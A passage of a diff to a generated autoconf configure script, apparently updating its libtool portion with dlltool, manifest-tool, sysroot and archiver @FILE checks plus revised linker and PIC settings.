-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6162,11 +6248,6 @@ linux* | k*bsd*-gnu | kopensolaris*-gnu)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
--linux-uclibc*)
-- lt_cv_deplibs_check_method=pass_all
-- lt_cv_file_magic_test_file=`echo /lib/libuClibc-*.so`
-- ;;
--
- netbsd*)
- if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
-@@ -6244,6 +6325,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6257,11 +6353,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if test "${ac_cv_prog_DLLTOOL+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if test "${ac_cv_prog_ac_ct_DLLTOOL+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if test "${lt_cv_sharedlib_from_linklib_cmd+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6276,8 +6525,8 @@ do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
-- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6297,11 +6546,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6336,6 +6589,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6347,16 +6604,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if test "${lt_cv_ar_at_file+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -6698,8 +7011,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -6735,6 +7048,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -6776,6 +7090,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -6787,7 +7113,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -6813,8 +7139,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6824,8 +7150,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -6862,6 +7188,18 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -6878,6 +7216,43 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7089,6 +7464,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if test "${ac_cv_prog_MANIFEST_TOOL+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if test "${ac_cv_prog_ac_ct_MANIFEST_TOOL+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if test "${lt_cv_path_mainfest_tool+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7652,6 +8144,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7847,7 +8341,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7936,7 +8431,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8234,8 +8729,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8401,6 +8894,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8463,7 +8962,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8520,13 +9019,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if test "${lt_cv_prog_compiler_pic+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8587,6 +9090,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -8937,7 +9445,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9036,12 +9545,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9055,8 +9564,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9074,8 +9583,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9121,8 +9630,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9252,7 +9761,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if test "${lt_cv_aix_libpath_+set}" = set; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
